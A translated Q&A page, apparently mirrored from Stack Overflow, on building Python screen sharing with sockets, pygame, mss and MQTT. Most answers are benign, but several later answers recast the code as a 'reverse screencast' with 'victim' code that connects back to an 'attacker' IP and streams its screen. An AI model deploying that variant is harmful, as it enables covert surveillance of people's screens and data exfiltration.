Python 中的屏幕共享

问题描述 投票:0回答:6

嗨,我被困住了,我在互联网上没有找到任何有用的东西。 我正在尝试用 python 制作一个屏幕共享程序。 问题是我无法以至少 24 fps 的速度发送屏幕,因为当我使用 PIL (ImageGrab) 截取屏幕截图时,会出现一些延迟。 我的客户端将从服务器获取图片(屏幕截图)并将其“blit”到 使用 pygame 的屏幕。

服务器:

# -*- coding: utf-8 -*-


import socket
import os
import threading
from PIL import ImageGrab
def RetrFile(name, sock):

    while 1:
        img = ImageGrab.grab()
        img.save("PATH_TO_PIC")

        filename = "PATH_TO_PIC"
        sock.send(str(os.path.getsize(filename)))
        with open('PATH_TO_PIC', 'rb') as f:
            bytesToSend = f.read(1024)
            sock.send(bytesToSend)
            while bytesToSend != "":
                bytesToSend = f.read(1024)
                sock.send(bytesToSend)

def Main():
   host = '0.0.0.0'
   port = 5000

   s = socket.socket()
   s.bind((host,port))

   s.listen(5)
   print "Server Started."

   while True:
       c, addr = s.accept()
       print "Client connected ip: <"+ str(addr) + ">"
       t = threading.Thread(target = RetrFile, args = ("retrThread", c))
       t.start()
   s.close()

if __name__ == '__main__':
    Main()

客户:

import socket
import pygame as pg
def Main():
    host = '127.0.0.1'
    port = 5000


    pg.init()
    display_screen = pg.display.set_mode((1900, 1000))



    clock = pg.time.Clock()

    s = socket.socket()
    s.connect((host,port))
    filename =  "PATH_TO_PIC"
    isExit = False
    while not isExit:

        for event in pg.event.get():
            if event.type == pg.QUIT:
                isExit = True
        data = s.recv(1024)
        print data
        filesize = long(data)

        f = open(filename, 'wb')
        data = s.recv(1024)
        totalRecv  =  len(data)
        f.write(data)
        while totalRecv < filesize:
            data = s.recv(1024)
            totalRecv += len(data)
            f.write(data)
        showImg = pg.image.load('PATH_TO_PIC')
        display_screen.blit(showImg, (0,0))
        pg.display.flip()
        clock.tick(60)
    s.close()

if __name__ == '__main__':
    Main()

我的问题基本上是:如何在2台计算机之间共享屏幕,我不知道使用PIL发送大量图片的方式是否高效且正确。 有更有效的方法吗?投射 1 号电脑的屏幕并在 2 号电脑上显示?

python sockets pygame screenshot screensharing
6个回答
13
投票

我刚刚尝试过,它似乎工作得很好(Python 3)。如果您觉得可以接受,请告诉我,我正在使用 MSS 模块来防止 I/O。

服务器.py

from socket import socket
from threading import Thread
from zlib import compress

from mss import mss


WIDTH = 1900
HEIGHT = 1000


def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while 'recording':
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)


def main(host='0.0.0.0', port=5000):
    sock = socket()
    sock.bind((host, port))
    try:
        sock.listen(5)
        print('Server started.')

        while 'connected':
            conn, addr = sock.accept()
            print('Client connected IP:', addr)
            thread = Thread(target=retreive_screenshot, args=(conn,))
            thread.start()
    finally:
        sock.close()


if __name__ == '__main__':
    main()

客户端.py

from socket import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """

    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


def main(host='127.0.0.1', port=5000):
    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    sock = socket()
    sock.connect((host, port))
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(sock.recv(1), byteorder='big')
            size = int.from_bytes(sock.recv(size_len), byteorder='big')
            pixels = decompress(recvall(sock, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        sock.close()


if __name__ == '__main__':
    main()

您可以通过使用另一种压缩算法(例如 LZ4)来改进,该算法有 Python 实现。你需要尝试一下:)


1
投票

我做了一个反向截屏视频(一个渗透测试工具), 服务器(受害者)将数据发送到客户端(攻击者)

攻击者

import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf

def main(host='192.168.1.208', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True    

    
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()

if __name__ == "__main__":
    main()  

受害者

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.1.208', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

1
投票

我对基于 python 的屏幕共享脚本集感兴趣。我不在乎编写低级套接字代码。我最近发现了一个有趣的消息代理/服务器,称为 mosquitto (https://mosquitto.org/) 简而言之,您与服务器建立连接并订阅主题。当经纪人收到有关您订阅的主题的消息时,它会向您发送该消息。

这里有两个连接到 mosquitto 代理的脚本。一个脚本侦听屏幕抓取请求。另一个脚本请求屏幕抓取并显示它们。

这些脚本依赖图像处理模块来完成繁重的工作 流程是

  1. 客户请求屏幕
  2. 服务器收到通知,有关于某个主题的消息可供屏幕抓取
  3. 服务器用mss抓取屏幕
  4. 服务器将屏幕转换为 numpy
  5. 服务器 Base 64 编码压缩的 pickled numpy 图像
  6. 如果可能的话,服务器会与最后一张图像进行增量计算
  7. 服务器将 Base 64 字符串发布到屏幕抓取主题
  8. 通知客户屏幕抓取主题上有一条消息
  9. 客户逆转该过程
  10. 客户端显示屏幕
  11. 客户返回步骤1

使用命令行消息退出服务器 C:\ Program Files \ mosquitto> mosquitto_pub.exe -h“127.0.0.1”-t“服务器/退出”-m“0”

此实现使用增量刷新。它使用 numpy 来异或当前和 最后一个屏幕。这确实提高了压缩比。它演示了许多可能对某台计算机上正在发生的情况的实时流感兴趣的客户端可以使用和连接异地服务器。这些脚本绝对不是生产质量的,只能作为 POC。

脚本 1 - 服务器

import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle

monitor = 0 # all monitors
quit = False
capture = False

def on_connect(client, userdata, flags, rc):
    print("Connected flags " + str(flags) + " ,result code=" + str(rc))

def on_disconnect(client, userdata, flags, rc):
    print("Disconnected flags " + str(flags) + " ,result code=" + str(rc))

def on_message(client, userdata, message):
    global quit
    global capture
    global last_image

    if message.topic == "server/size":
        with mss.mss() as sct:
            sct_img = sct.grab(sct.monitors[monitor])
            size = sct_img.size
            client.publish("client/size", str(size.width) + "|" + str(size.height))

    if message.topic == "server/update/first":
        with mss.mss() as sct:
            b64img = BuildPayload(False)
            client.publish("client/update/first", b64img)

    if message.topic == "server/update/next":
        with mss.mss() as sct:
            b64img = BuildPayload()
            client.publish("client/update/next", b64img)

    if message.topic == "server/quit":
        quit = True

def BuildPayload(NextFrame = True):
    global last_image
    with mss.mss() as sct:
        sct_img = sct.grab(sct.monitors[monitor])
        image = numpy.array(sct_img)
        if NextFrame  == True:
            # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
            xor_image = image ^ last_image
            b64img = base64.b64encode(zlib.compress(pickle.dumps(xor_image), 9))
        else:
            # first image - less compression than delta
            b64img = base64.b64encode(zlib.compress(pickle.dumps(image), 9))
            print("Source Image Size=" + str(len(sct_img.rgb)))
        last_image = image
        print("Compressed Image Size=" + str(len(b64img)) + " bytes")
        return b64img

myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_disconnect = on_disconnect
client.on_message = on_message
try:
    client.connect("127.0.0.1")
    client.loop_start()
    client.subscribe("server/size")
    client.subscribe("server/update/first")
    client.subscribe("server/update/next")
    client.subscribe("server/quit")
    while not quit:
        time.sleep(5)
        continue
    client.publish("client/quit")
    time.sleep(5)
    client.loop_stop()
    client.disconnect()
except:
    print("Could not connect to the Mosquito server")

脚本 2 - 客户端

import paho.mqtt.client as mqtt
import time
import uuid
import cv2
import mss
from mss.tools import zlib
import numpy
import base64
import io
import pickle

quit = False
size = False
capture = False
width = 0
height = 0
last_image = None
first = False

def on_connect(client, userdata, flags, rc):
    print("Connected flags " + str(flags) + " ,result code=" + str(rc))

def on_message(client, userdata, message):
    global quit
    global size
    global capture
    global width
    global height
    global last_image
    global first

    if message.topic == "client/size":
        if width == 0 and height == 0:
            strsize = message.payload.decode("utf-8")
            strlist = strsize.split("|")
            width = int(strlist[0])
            height = int(strlist[1])
            size = True

    if message.topic == "client/update/first":
        # stay synchronized with other connected clients
        if size == True:
            DecodeAndShowPayload(message, False)
            first = True

    if message.topic == "client/update/next":
        # stay synchronized with other connected clients
        if size == True and first == True: 
            DecodeAndShowPayload(message)

    if message.topic == "client/quit":
        quit = True

def DecodeAndShowPayload(message, NextFrame = True):
    global last_image
    global capture
    global quit

    if NextFrame == True:
        # subsequent image - delta that brings much better compression ratio as unchanged RGBA quads will XOR to 0,0,0,0
        xor_image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
        image = last_image ^ xor_image
    else:
        # first image - less compression than delta
        image = pickle.loads(zlib.decompress(base64.b64decode(message.payload.decode("utf-8")), 15, 65535))
    last_image = image
    cv2.imshow("Server", image)
    if cv2.waitKeyEx(25) == 113:
        quit = True
    capture = False

myid = str(uuid.uuid4()) + str(time.time())
print("Client Id = " + myid)
client = mqtt.Client(myid, False)
client.on_connect = on_connect
client.on_message = on_message
try:
    client.connect("127.0.0.1")
    client.loop_start()
    client.subscribe("client/size")
    client.subscribe("client/update/first")
    client.subscribe("client/update/next")
    client.subscribe("client/quit")

    # ask once and retain in case client starts before server
    asksize = False
    while not size:
        if not asksize:
            client.publish("server/size", "1", 0, True)
            asksize = True 
        time.sleep(1)

    first_image = True
    while not quit:
        if capture == False:
            capture = True
            if first_image:
                client.publish("server/update/first")
                first_image = False
            else:
                client.publish("server/update/next")
        time.sleep(.1)

    cv2.destroyAllWindows()
    client.loop_stop()
    client.disconnect()
except:
    print("Could not connect to the Mosquito server")

显示压缩的示例输出 例如:源为 18,662,400 字节(3 个屏幕) 压缩后的图像只有 35,588 字节,即 524 比 1


0
投票

对@Tiger-222的代码进行以下更改

size_len = int.from_bytes(sock.recv(1), byteorder='big')
size = int.from_bytes(recvall(sock, size_len), byteorder='big')

0
投票

对于服务器:

import socket
from zlib import decompress

import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf


def main(host='0.0.0.0', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True

    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()


if __name__ == "__main__":
    main()

对于客户: 进口插座 从线程导入线程 从 zlib 导入压缩

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)
x = socket.socket()
def main(host='Your Server IP', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        while True:
            thread = Thread(target=retreive_screenshot, args=(sock,))
            thread.start()
            thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()
x.close()
if __name__ == '__main__':
    main()

0
投票

我使用了反向连接的概念,就像(反向shell)一样,我无耻地复制了上面的答案(答案1),并将其转换。

攻击者

import socket
from zlib import decompress
import pygame

WIDTH = 1900
HEIGHT = 1000


def recvall(conn, length):
    """ Retreive all pixels. """
    buf = b''
    while len(buf) < length:
        data = conn.recv(length - len(buf))
        if not data:
            return data
        buf += data
    return buf

def main(host='192.168.1.208', port=6969):
    ''' machine lhost'''
    sock = socket.socket()
    sock.bind((host, port))
    print("Listening ....")
    sock.listen(5)
    conn, addr = sock.accept()
    print("Accepted ....", addr)

    pygame.init()
    screen = pygame.display.set_mode((WIDTH, HEIGHT))
    clock = pygame.time.Clock()
    watching = True
    
    try:
        while watching:
            for event in pygame.event.get():
                if event.type == pygame.QUIT:
                    watching = False
                    break

            # Retreive the size of the pixels length, the pixels length and pixels
            size_len = int.from_bytes(conn.recv(1), byteorder='big')
            size = int.from_bytes(conn.recv(size_len), byteorder='big')
            pixels = decompress(recvall(conn, size))

            # Create the Surface from raw pixels
            img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')

            # Display the picture
            screen.blit(img, (0, 0))
            pygame.display.flip()
            clock.tick(60)
    finally:
        print("PIXELS: ", pixels)
        sock.close()

if __name__ == "__main__":
    main()

客户代码

import socket
from threading import Thread
from zlib import compress

from mss import mss


import pygame

WIDTH = 1900
HEIGHT = 1000

def retreive_screenshot(conn):
    with mss() as sct:
        # The region to capture
        rect = {'top': 0, 'left': 0, 'width': WIDTH, 'height': HEIGHT}

        while True:
            # Capture the screen
            img = sct.grab(rect)
            # Tweak the compression level here (0-9)
            pixels = compress(img.rgb, 6)

            # Send the size of the pixels length
            size = len(pixels)
            size_len = (size.bit_length() + 7) // 8
            conn.send(bytes([size_len]))

            # Send the actual pixels length
            size_bytes = size.to_bytes(size_len, 'big')
            conn.send(size_bytes)

            # Send pixels
            conn.sendall(pixels)

def main(host='192.168.1.208', port=6969):
    ''' connect back to attacker on port'''
    sock = socket.socket()
    sock.connect((host, port))
    try:
        thread = Thread(target=retreive_screenshot, args=(sock,))
        thread.start()
        thread.join()
    except Exception as e:
        print("ERR: ", e)
        sock.close()

if __name__ == '__main__':
    main()

当然这还没有优化,使用一些好的压缩技术可以使其高效快速。

© www.soinside.com 2019 - 2024. All rights reserved.